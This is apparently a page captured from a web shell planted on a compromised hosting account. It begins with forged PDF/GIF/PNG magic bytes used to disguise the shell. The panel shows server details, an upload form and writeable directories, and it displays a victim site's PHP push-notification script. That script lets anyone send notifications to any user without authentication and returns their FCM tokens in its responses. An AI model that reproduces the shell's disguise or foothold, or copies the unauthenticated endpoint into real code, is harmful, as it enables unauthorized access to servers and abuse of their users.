%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_6ca89795/api/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_6ca89795/api/push_notification.php
<?php

header("Content-Type: application/json");

require_once __DIR__ . "/dbcon.php";

function response($status, $message, $data = [])
{
    echo json_encode([
        "status" => $status,
        "message" => $message,
        "data" => $data
    ], JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
    exit;
}

function getTokens($conn, $userId, $singleToken = null)
{
    if (!empty($singleToken)) {
        return [trim($singleToken)];
    }

    if (empty($userId)) {
        return [];
    }

    $stmt = $conn->prepare(
        "SELECT fcm_token FROM fcm_tokens WHERE user_id=? AND fcm_token IS NOT NULL AND TRIM(fcm_token)<>''"
    );
    $stmt->bind_param("i", $userId);
    $stmt->execute();
    $result = $stmt->get_result();

    $tokens = [];
    while ($row = $result->fetch_assoc()) {
        $token = trim($row['fcm_token']);
        if (!empty($token)) {
            $tokens[] = $token;
        }
    }

    $stmt->close();
    return array_values(array_unique($tokens));
}

function sendFcmMessage($tokens, $title, $body, $data = [])
{
    $serverKey = getenv("FCM_SERVER_KEY") ?: getenv("FCM_SERVER_KEY") ?: "";
    if (empty($serverKey)) {
        return [
            "success" => false,
            "message" => "FCM_SERVER_KEY is not configured on the server"
        ];
    }

    if (!function_exists("curl_init")) {
        return [
            "success" => false,
            "message" => "cURL is not available on the server"
        ];
    }

    $payload = [
        "registration_ids" => $tokens,
        "notification" => [
            "title" => $title,
            "body" => $body,
            "sound" => "default"
        ],
        "data" => $data
    ];

    $ch = curl_init("https://fcm.googleapis.com/fcm/send");
    curl_setopt_array($ch, [
        CURLOPT_POST => true,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HTTPHEADER => [
            "Authorization: key=" . $serverKey,
            "Content-Type: application/json"
        ],
        CURLOPT_POSTFIELDS => json_encode($payload)
    ]);

    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $curlError = curl_error($ch);
    curl_close($ch);

    if ($curlError) {
        return [
            "success" => false,
            "message" => "cURL error: " . $curlError
        ];
    }

    $decoded = json_decode($response, true);

    return [
        "success" => ($httpCode >= 200 && $httpCode < 300 && (!empty($decoded['success']) || !empty($decoded['results']))),
        "message" => "FCM request completed",
        "http_code" => $httpCode,
        "response" => $decoded
    ];
}

$json = json_decode(file_get_contents("php://input"), true);
if (!is_array($json)) {
    $json = [];
}

$user_id = trim($_REQUEST['user_id'] ?? $json['user_id'] ?? '');
$fcm_token = trim($_REQUEST['fcm_token'] ?? $json['fcm_token'] ?? '');
$title = trim($_REQUEST['title'] ?? $json['title'] ?? 'New notification');
$body = trim($_REQUEST['body'] ?? $json['body'] ?? 'You have a new message');
$data = $_REQUEST['data'] ?? $json['data'] ?? [];

if (!is_array($data)) {
    $data = [];
}

$tokens = getTokens($conn, $user_id, $fcm_token);

if (empty($tokens)) {
    response(false, "No FCM token found", [
        "user_id" => $user_id,
        "fcm_token" => $fcm_token
    ]);
}

$result = sendFcmMessage($tokens, $title, $body, $data);

if (!$result['success']) {
    response(false, $result['message'], [
        "tokens" => $tokens,
        "details" => $result
    ]);
}

response(true, "Push notification sent successfully", [
    "tokens_sent" => count($tokens),
    "title" => $title,
    "body" => $body,
    "details" => $result
]);

VaKeR 2022